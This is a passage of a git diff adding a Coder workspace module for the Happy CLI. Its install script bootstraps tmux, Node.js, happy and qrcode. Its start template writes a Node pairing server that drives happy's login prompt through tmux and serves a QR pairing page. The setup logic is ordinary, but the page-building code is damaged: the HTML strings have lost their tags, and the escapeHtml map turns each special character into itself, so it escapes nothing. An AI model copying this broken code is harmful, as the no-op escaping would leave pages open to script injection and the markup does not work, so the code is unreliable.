(started by start.sh) drives happy's interactive +# auth-method selector through a real pseudo-terminal, since happy has no +# non-interactive pairing path (it renders an Ink UI and calls into raw +# terminal mode). tmux is how that automation observes and drives it +# (send-keys/capture output). Unlike Node, tmux has no official portable +# static binary this script can drop into $HOME without privileges -- it +# links against system libraries (libevent, ncurses) via the platform's +# package manager. Best-effort install it that way when root or passwordless +# sudo is available; otherwise fail with a clear message instead of a +# confusing mid-script permissions error. +ensure_tmux() { + if command_exists tmux; then + return 0 + fi + + echo "⚠️ tmux not found on PATH; attempting to install it..." + + local as_root="" + if [ "$(id -u)" != "0" ]; then + if command_exists sudo && sudo -n true > /dev/null 2>&1; then + as_root="sudo -n" + else + echo "❌ tmux is required to run Happy (it drives happy's interactive pairing prompt through a real pseudo-terminal) but was not found on PATH, and this workspace has neither root nor passwordless sudo to install it automatically. Add tmux to the workspace image." + exit 1 + fi + fi + + if command_exists apt-get; then + $as_root apt-get update -qq || true + $as_root apt-get install -y -qq tmux || true + elif command_exists dnf; then + $as_root dnf install -y -q tmux || true + elif command_exists yum; then + $as_root yum install -y -q tmux || true + elif command_exists apk; then + $as_root apk add --no-cache tmux || true + elif command_exists pacman; then + $as_root pacman -Sy --noconfirm tmux || true + fi + + if ! command_exists tmux; then + echo "❌ tmux is required to run Happy (it drives happy's interactive pairing prompt through a real pseudo-terminal) but was not found on PATH, and automatic installation failed (no supported package manager found, or the install itself failed). Add tmux to the workspace image manually." + exit 1 + fi + + echo "✅ tmux installed automatically." +} + +ensure_tmux + +if [ "$${ARG_INSTALL}" != "true" ]; then + echo "⏭️ install=false; skipping Happy installation." + exit 0 +fi + +# Happy (the "happy" npm package) is a Node.js application and needs a +# Node.js runtime. When the workspace image does not provide one, bootstrap +# a pinned runtime into $HOME so it persists across restarts. +ensure_node() { + if command_exists node; then + return 0 + fi + + local node_arch node_dir + case "$(uname -m)" in + x86_64 | amd64) node_arch="x64" ;; + aarch64 | arm64) node_arch="arm64" ;; + *) + echo "❌ node is required to run Happy but was not found on PATH, and automatic bootstrap does not support architecture '$(uname -m)'." + exit 1 + ;; + esac + + node_dir="$HOME/$${ARG_MODULE_DIR_NAME}/node/node-v$${ARG_NODE_VERSION}-linux-$${node_arch}" + if [ ! -x "$node_dir/bin/node" ]; then + echo "⚠️ node not found on PATH; bootstrapping Node.js v$${ARG_NODE_VERSION} into $node_dir..." + mkdir -p "$(dirname "$node_dir")" + if ! curl -fsSL "https://nodejs.org/dist/v$${ARG_NODE_VERSION}/node-v$${ARG_NODE_VERSION}-linux-$${node_arch}.tar.gz" | tar -xz -C "$(dirname "$node_dir")"; then + echo "❌ Failed to download Node.js v$${ARG_NODE_VERSION}. Happy cannot run without node." + exit 1 + fi + fi + + export PATH="$node_dir/bin:$PATH" + + # Expose node/npm to other workspace scripts and interactive shells. + if [ -n "$${CODER_SCRIPT_BIN_DIR:-}" ]; then + [ -e "$${CODER_SCRIPT_BIN_DIR}/node" ] || ln -s "$node_dir/bin/node" "$${CODER_SCRIPT_BIN_DIR}/node" + [ -e "$${CODER_SCRIPT_BIN_DIR}/npm" ] || ln -s "$node_dir/bin/npm" "$${CODER_SCRIPT_BIN_DIR}/npm" + fi +} + +ensure_node + +HAPPY_BIN="$INSTALL_PREFIX/node_modules/.bin/happy" + +if [ -x "$HAPPY_BIN" ] && [ "$${ARG_USE_CACHED}" = "true" ]; then + printf "%s\n" "🥳 Found a cached copy of Happy, skipping install (use_cached=true)" + "$HAPPY_BIN" --version || true + exit 0 +fi + +case "$${ARG_PACKAGE_MANAGER}" in + npm | pnpm | bun) ;; + *) + echo "❌ Unsupported package_manager '$${ARG_PACKAGE_MANAGER}'. Use 'npm', 'pnpm', or 'bun'." + exit 1 + ;; +esac + +if ! command_exists "$${ARG_PACKAGE_MANAGER}"; then + echo "❌ package_manager '$${ARG_PACKAGE_MANAGER}' was not found on PATH." + exit 1 +fi + +mkdir -p "$INSTALL_PREFIX" +cd "$INSTALL_PREFIX" +[ -f package.json ] || echo '{"private":true}' > package.json + +# "qrcode" renders the pairing link captured from happy's terminal output as +# a real scannable image for the pairing page (start.sh.tftpl / pairing +# server), instead of trying to re-parse happy's own ANSI QR art. +HAPPY_SPEC="happy@$${ARG_VERSION}" +QRCODE_SPEC="qrcode@1.5.4" + +# %s arguments, not a %-interpreted format string: HAPPY_SPEC embeds +# ARG_VERSION, a caller-supplied string that could contain a literal "%". +printf "%sInstalling Happy (%s) and qrcode via %s...\n" "$${BOLD}" "$${HAPPY_SPEC}" "$${ARG_PACKAGE_MANAGER}" + +case "$${ARG_PACKAGE_MANAGER}" in + npm) + npm install --no-audit --no-fund --registry "$${ARG_REGISTRY_URL}" "$${HAPPY_SPEC}" "$${QRCODE_SPEC}" + ;; + pnpm) + pnpm add --registry "$${ARG_REGISTRY_URL}" "$${HAPPY_SPEC}" "$${QRCODE_SPEC}" + ;; + bun) + bun add --registry "$${ARG_REGISTRY_URL}" "$${HAPPY_SPEC}" "$${QRCODE_SPEC}" + ;; +esac + +if [ ! -x "$HAPPY_BIN" ]; then + echo "❌ Could not locate the happy binary after install at $HAPPY_BIN" + exit 1 +fi + +printf "%s\n\n" "🥳 Happy has been installed to $INSTALL_PREFIX" +"$HAPPY_BIN" --version || true diff --git a/registry/gojnimer6553/modules/happy/scripts/start.sh.tftpl b/registry/gojnimer6553/modules/happy/scripts/start.sh.tftpl new file mode 100644 index 000000000..dba43680c --- /dev/null +++ b/registry/gojnimer6553/modules/happy/scripts/start.sh.tftpl @@ -0,0 +1,278 @@ +#!/bin/bash + +set -euo pipefail + +ARG_PORT='${ARG_PORT}' +ARG_TMUX_SESSION='${ARG_TMUX_SESSION}' +# module_directory is not caller-influenced (module_dir_name is a hardcoded +# constant in main.tf), so double-quoting it to expand its literal "$HOME" +# at runtime is safe. install_prefix/workdir are caller-supplied though -- +# see the comment on install_prefix_override in main.tf for why those are +# passed as raw overrides instead and built into a full path below using a +# real, un-interpolated shell variable rather than embedded "$HOME" text. +ARG_MODULE_DIRECTORY="${ARG_MODULE_DIRECTORY}" +ARG_INSTALL_PREFIX_OVERRIDE='${ARG_INSTALL_PREFIX_OVERRIDE}' +ARG_WORKDIR_OVERRIDE='${ARG_WORKDIR_OVERRIDE}' + +if [ -n "$${ARG_INSTALL_PREFIX_OVERRIDE}" ]; then + INSTALL_PREFIX="$${ARG_INSTALL_PREFIX_OVERRIDE}" +else + INSTALL_PREFIX="$${ARG_MODULE_DIRECTORY}/npm" +fi + +if [ -n "$${ARG_WORKDIR_OVERRIDE}" ]; then + WORKDIR="$${ARG_WORKDIR_OVERRIDE}" +else + WORKDIR="$HOME" +fi + +HAPPY_BIN="$INSTALL_PREFIX/node_modules/.bin/happy" +SCRIPTS_DIR="$${ARG_MODULE_DIRECTORY}/scripts" +LOG_PATH="$${ARG_MODULE_DIRECTORY}/logs/start.log" +PAIRING_LOG_PATH="$${ARG_MODULE_DIRECTORY}/logs/pairing.log" +SERVER_PATH="$SCRIPTS_DIR/pairing-server.js" + +if [ ! -x "$HAPPY_BIN" ]; then + echo "❌ happy binary not found at $HAPPY_BIN. Did the install script run and succeed?" + exit 1 +fi + +if ! command -v tmux > /dev/null 2>&1; then + echo "❌ tmux not found on PATH. Did the install script run and succeed?" + exit 1 +fi + +mkdir -p "$SCRIPTS_DIR" "$(dirname "$LOG_PATH")" +mkdir -p "$WORKDIR" +: > "$PAIRING_LOG_PATH" + +# Pairing server: on every request to "/" it forces a completely fresh +# pairing cycle (kill any previous happy session, clear credentials, relaunch, +# drive the interactive auth-method prompt via tmux, capture the resulting +# happy://terminal?... link, and render it as a real QR code). "/healthz" +# never triggers this -- it must stay side-effect-free since Coder polls it +# on an interval, and forcing a re-pair every few seconds would make the +# module unusable. Node-only (plus the "qrcode" package installed alongside +# happy): a Node runtime is already required to run Happy itself. +cat > "$SERVER_PATH" << 'EOF_SERVER' +"use strict"; +const http = require("http"); +const fs = require("fs"); +const { spawnSync } = require("child_process"); +const QRCode = require("qrcode"); + +const PORT = parseInt(process.env.PORT, 10); +const HAPPY_BIN = process.env.HAPPY_BIN; +const WORKDIR = process.env.WORKDIR; +const TMUX_SESSION = process.env.TMUX_SESSION; +const PAIRING_LOG_PATH = process.env.PAIRING_LOG_PATH; + +const PAIRING_URL_RE = /happy:\/\/terminal\?[A-Za-z0-9_-]+/; +const PROMPT_TEXT = "How would you like to authenticate?"; +const PROMPT_TIMEOUT_MS = 20000; +const PAIRING_URL_TIMEOUT_MS = 20000; +const POLL_INTERVAL_MS = 300; + +function shellQuote(value) { + return "'" + String(value).replace(/'/g, "'\\''") + "'"; +} + +// Polls the pane's *current* on-screen content, not the piped log file. +// "tmux pipe-pane" (attached separately, after the session already starts) +// only forwards output emitted after it attaches; if the wrapped process +// prints before that attach call lands, that output is lost from the log +// forever and a log-based wait hangs until it times out. capture-pane has +// no such race: it always returns whatever is presently on screen, +// regardless of when polling started. +function capturePane() { + const result = spawnSync("tmux", ["capture-pane", "-t", TMUX_SESSION, "-p", "-S", "-200"]); + return result.status === 0 ? String(result.stdout) : ""; +} + +function sessionAlive() { + const result = spawnSync("tmux", ["has-session", "-t", TMUX_SESSION]); + return result.status === 0; +} + +// Without this, a happy CLI crash/exit right after the prompt (the tmux +// session dies once its wrapped shell command finishes) would otherwise +// just look identical to "still starting" and wait out the full timeout +// before failing -- this fails fast instead, with the pane's last output +// attached so the real cause is visible immediately. +function waitFor(extract, timeoutMs, timeoutMessage) { + const deadline = Date.now() + timeoutMs; + return new Promise((resolve, reject) => { + const tick = () => { + const paneText = capturePane(); + const found = extract(paneText); + if (found) { + resolve(found); + return; + } + if (!sessionAlive()) { + reject( + new Error( + "Happy's tmux session exited before it finished pairing. Last output:\n" + paneText, + ), + ); + return; + } + if (Date.now() >= deadline) { + reject(new Error(timeoutMessage)); + return; + } + setTimeout(tick, POLL_INTERVAL_MS); + }; + tick(); + }); +} + +function startFreshPairingCycle() { + // Best-effort teardown of whatever was running before. + spawnSync("tmux", ["kill-session", "-t", TMUX_SESSION]); + fs.writeFileSync(PAIRING_LOG_PATH, ""); + + // "auth login --force" clears any existing credentials/machine ID and + // stops the daemon, then (since credentials are now gone) drives straight + // into the same interactive auth-method prompt as a first-ever pairing. + // Only once that finishes does "happy claude" run, at which point + // credentials already exist so it launches straight into the wrapped + // coding session with no further prompts. + const shellCommand = + "cd " + shellQuote(WORKDIR) + " && " + + shellQuote(HAPPY_BIN) + " auth login --force && " + + shellQuote(HAPPY_BIN) + " claude"; + + const spawned = spawnSync("tmux", [ + "new-session", "-d", "-s", TMUX_SESSION, "-x", "220", "-y", "50", + "bash", "-lc", shellCommand, + ]); + if (spawned.status !== 0) { + throw new Error( + "Failed to start tmux session: " + (spawned.stderr || spawned.error || "unknown error"), + ); + } + + spawnSync("tmux", ["pipe-pane", "-t", TMUX_SESSION, "-o", "cat >> " + shellQuote(PAIRING_LOG_PATH)]); +} + +async function runPairingCycle() { + startFreshPairingCycle(); + await waitFor( + (text) => text.includes(PROMPT_TEXT), + PROMPT_TIMEOUT_MS, + "Timed out waiting for Happy's auth-method prompt to appear", + ); + spawnSync("tmux", ["send-keys", "-t", TMUX_SESSION, "1"]); + const pairingUrl = await waitFor( + (text) => { + const match = PAIRING_URL_RE.exec(text); + return match ? match[0] : null; + }, + PAIRING_URL_TIMEOUT_MS, + "Timed out waiting for Happy to print a pairing link", + ); + // Detach the pipe once pairing itself is done: from here on "happy claude" + // runs the actual coding session, and there's no reason to keep mirroring + // that (potentially sensitive) transcript to a plaintext log file on top + // of it already living in the tmux scrollback. + spawnSync("tmux", ["pipe-pane", "-t", TMUX_SESSION]); + return pairingUrl; +} + +let inFlight = null; + +function getOrStartPairingCycle() { + if (!inFlight) { + inFlight = runPairingCycle().finally(() => { + inFlight = null; + }); + } + return inFlight; +} + +function escapeHtml(value) { + return String(value).replace(/[&<>"']/g, (c) => ( + { "&": "&", "<": "<", ">": ">", '"': """, "'": "'" }[c] + )); +} + +function htmlPage(bodyHtml, refreshSeconds) { + return ( + "" + + (refreshSeconds ? "" : "") + + "Happy Pairing" + bodyHtml + "" + ); +} + +async function renderQrPage(pairingUrl) { + const qrDataUrl = await QRCode.toDataURL(pairingUrl, { margin: 2, width: 280 }); + return htmlPage( + "

Scan to pair Happy

" + + "\"Happy" + + "

Or open this link on your phone:

" + + "" + escapeHtml(pairingUrl) + "" + + "

This link is single-use and was just generated for this click. " + + "Re-opening this app mints a new one and disconnects any device already paired.

", + 0, + ); +} + +function renderErrorPage(message) { + return htmlPage( + "

Something went wrong

" + escapeHtml(message) + "

" + + "

Reload this page to try again.

", + 5, + ); +} + +const server = http.createServer((req, res) => { + if (req.method === "GET" && req.url === "/healthz") { + res.writeHead(200, { "Content-Type": "text/plain" }); + res.end("ok"); + return; + } + + // Only an actual "GET /" click should trigger a destructive re-pair. + // Without this, incidental requests a browser makes on its own (e.g. + // "/favicon.ico") would each kill and restart the pairing cycle too. + if (req.method !== "GET" || req.url !== "/") { + res.writeHead(404, { "Content-Type": "text/plain" }); + res.end("not found"); + return; + } + + getOrStartPairingCycle() + .then((url) => renderQrPage(url)) + .then((html) => { + res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" }); + res.end(html); + }) + .catch((err) => { + res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" }); + res.end(renderErrorPage(err && err.message ? err.message : String(err))); + }); +}); + +server.listen(PORT, "127.0.0.1"); +EOF_SERVER + +echo "🚀 Starting the Happy pairing server on port $${ARG_PORT}..." + +nohup env \ + HAPPY_BIN="$HAPPY_BIN" \ + PORT="$${ARG_PORT}" \ + WORKDIR="$WORKDIR" \ + TMUX_SESSION="$${ARG_TMUX_SESSION}" \ + PAIRING_LOG_PATH="$PAIRING_LOG_PATH" \ + NODE_PATH="$INSTALL_PREFIX/node_modules" \ + node "$SERVER_PATH" >> "$LOG_PATH" 2>&1 & +disown + +echo "Happy pairing server started (pid $!). Logs: $LOG_PATH" +echo "ℹ️ Open the Happy app to get a QR code / pairing link. Every open mints a fresh one and disconnects any previously paired device."